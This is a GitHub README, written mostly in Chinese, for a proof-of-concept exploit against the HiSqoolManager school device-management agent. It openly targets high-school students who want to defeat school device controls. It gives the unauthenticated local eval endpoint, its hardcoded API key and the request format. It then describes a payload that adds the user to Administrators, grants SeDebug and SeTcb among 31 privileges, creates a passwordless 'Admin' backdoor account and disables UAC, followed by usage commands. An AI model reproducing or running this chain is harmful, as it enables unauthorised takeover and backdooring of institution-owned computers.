Ender000/POC-RCE-LPE

GitHub: Ender000/POC-RCE-LPE

针对校园 MDM 代理 HiSqoolManager 的 SYSTEM 权限提升漏洞 PoC,通过利用未经认证的本地 HTTP eval 接口实现从标准用户到管理员的完整提权链。

Stars: 1 | Forks: 0

# POC — RCE -> LPE 到 SYSTEM -> 本地权限接管 ## 这是什么,面向谁? 这个 POC 是一款专为想要重新掌控其桌面 PC 的**高中生**设计的工具。如果你的学校使用 Unowhy/HiSqoolManager,你的 PC 很可能被锁定了:你无法安装软件,无法修改设置,并且你的账户权限受限。这个 POC 通过利用 MDM agent 本身的漏洞来绕过所有限制。 **典型用例:** - 你想为学校项目安装某个软件,但安装被拦截了 - 你想访问被管理员禁用的 Windows 功能 - 你想自定义你的设备,而不想等待 IT 部门花 3 周时间来解封权限 - 你的 PC 没有更新,而管理员从来不更新机器(这在高中很常见,大家都知道是怎么回事) **对于那些 PC 未更新的学校:**这是绝佳的机会。如果 HiSqoolManager agent 没有更新,这个漏洞就能奏效。这正是我们要进行安全更新的原因,不过……说实话,这在学校里并不总是最优先的事项。 **结合 [Unowhy-Tools](https://github.com/STY1001/Unowhy-Tools) 使用**,你可以更进一步:禁用该 agent,移除限制,恢复对设备的完全访问权限。这个 POC 会赋予你管理员权限,而 Unowhy-Tools 帮你在后续进行清理。 ## 漏洞原理 HiSqoolManager 是一款安装在校园设备上的 MDM (Mobile Device Management) agent。它以 **LocalSystem**(Windows 中权限最高的账户)身份运行,并暴露了一个本地 HTTP endpoint: ``` POST http://127.0.0.1:7654/commands Header: x-api-key: would-nepal-sing-below Body: {"category":"js","command":"eval","arguments":{"source":""}} ``` `source` 字段在 Node.js 进程中被直接传递给 `eval()` **且没有任何身份验证**。由于该进程以 SYSTEM 身份运行,我们注入的 JS 代码将以 Windows 最高的权限执行。 **根本问题**:该服务通过 HTTP 接受任意代码,却不检查请求发送者的身份。机器上的任何进程(即标准用户)都可以发送此请求,并让代码以 SYSTEM 权限执行。 **漏洞利用链:** 1. 学生从其标准账户启动 POC 2. POC 通过 HTTP 将 JS payload 发送给服务 3. 服务以 SYSTEM 身份执行该 JS 4. payload 将学生添加到管理员组,创建一个后门账户,并禁用 UAC 5. 重启后,学生获得了管理员权限 + "Admin" 账户(空密码) **为什么这很致命:** - MDM 被部署在整个学校的设备中**(**通过 Intune/Azure AD 部署) - 该 endpoint 可以从机器上的**任何账户**访问 - 漏洞利用是**静默的**(服务端无日志记录) - 修改是**持久的**(重启后依然生效) ## 架构 ``` run_poc.ps1 (lanceur, tourne en user standard) | |--- capture requester SID (whoami /user) |--- injecte process.env.POC_* (SID, logDir, dry-run...) |--- wrappe dans IIFE: (function(){ ... })(); | |=== POST http://127.0.0.1:7654/commands === | x-api-key: would-nepal-sing-below | body: { category:"js", command:"eval", arguments:{ source: } } | v HiSqoolManager.exe (NestJS, LocalSystem) | |--- evalSource(source) dans process SYSTEM |--- payload.js exécute les phases A-F |--- logs + artefacts dans C:\Windows\System32\zcode_poc\\ | run_poc.ps1 | |--- copie les artefacts System32 -> runs// |--- parse summary.json, vérifie chaque phase |--- log final + verdict ``` ## 文件说明 | 文件 | 作用 | |---------|------| | `run_poc.ps1` | PowerShell 启动器。捕获请求者上下文,发送 payload,收集 artifacts,并输出判定结果。 | | `payload/poc_payload.js` | 由 SYSTEM 服务执行的 JS payload。包含文件记录的多阶段执行。 | | `runs/` | 输出目录:启动器日志 + 复制到 USB 闪存盘的 SYSTEM artifacts。 | ## payload 的执行阶段 ### 阶段 A — 身份标识与目标解析 - Dump SYSTEM 身份标识(`whoami`, `os.userInfo()`, PID/PPID/execPath) → `identity.json` - 通过 `NTAccount.Translate()` 解析 SID ↔ 用户名(不依赖系统区域设置) - LPE 证明:文件被写入 `System32\zcode_poc\`(仅限 SYSTEM 访问) ### 阶段 B — 添加到管理员组 - `Add-LocalGroupMember -Name "Administrateurs" -Member <目标用户名>` - 使用 Well-known SID `S-1-5-32-544`(在 FR/EN 语言下保持不变),处理“已经是成员”的情况 ### 阶段 C — User Rights Assignment(31 项权限) - 通过 `secedit /export` 导出 → 与现有权限合并 - 将目标 SID 注入到 31 项权限中(SeTcbPrivilege, SeDebugPrivilege, SeImpersonatePrivilege, SeLoadDriverPrivilege 等) - 通过 `secedit /configure /areas USER_RIGHTS` 应用配置 - 移除目标用户的 `SeDeny*` 权限 ### 阶段 D — 创建 "Admin" 账户(空密码)并加入管理员组 - 通过 `secedit` 禁用 `MinimumPasswordLength=0` 和 `PasswordComplexity=0` - `net user "Admin" "" /add` + 备选方案 `New-LocalUser -NoPassword` - 添加到管理员组 ### 阶段 E — 禁用 UAC 修改 6 个注册表项:`EnableLUA=0`, `ConsentPromptBehaviorAdmin=0`, `ConsentPromptBehaviorUser=0` 等。 ### 阶段 F — 验证 Dump 突变后的真实状态:`whoami /groups`, `whoami /priv`, `net user`, `secedit /export`, `reg query` UAC keys。 ## 使用说明 ``` # Mode normal (真实 mutations) .\run_poc.ps1 # Dry-run (只读) .\run_poc.ps1 -DryRun # 显式 Cible .\run_poc.ps1 -TargetUser "ENT\TestUser" # 自定义 backdoor Compte .\run_poc.ps1 -NewAdminName "Backdoor" ``` ## 相关的 CWE | CWE | 描述 | |-----|-------------| | CWE-94 | Code Injection (eval 外部来源代码) | | CWE-306 | Missing Authentication (通用静态密钥) | | CWE-778 | Insufficient Logging (服务端缺少 eval 操作日志) | | CWE-269 | Improper Privilege Management (SYSTEM 服务暴露公开 eval) | | CWE-250 | Execution with Unnecessary Privileges (MDM agent 使用 SYSTEM 权限) |
标签:AI合规, Libemu, MDM绕过, MITM代理, Web报告查看器, 协议分析, 安全, 数据可视化, 权限提升, 超时处理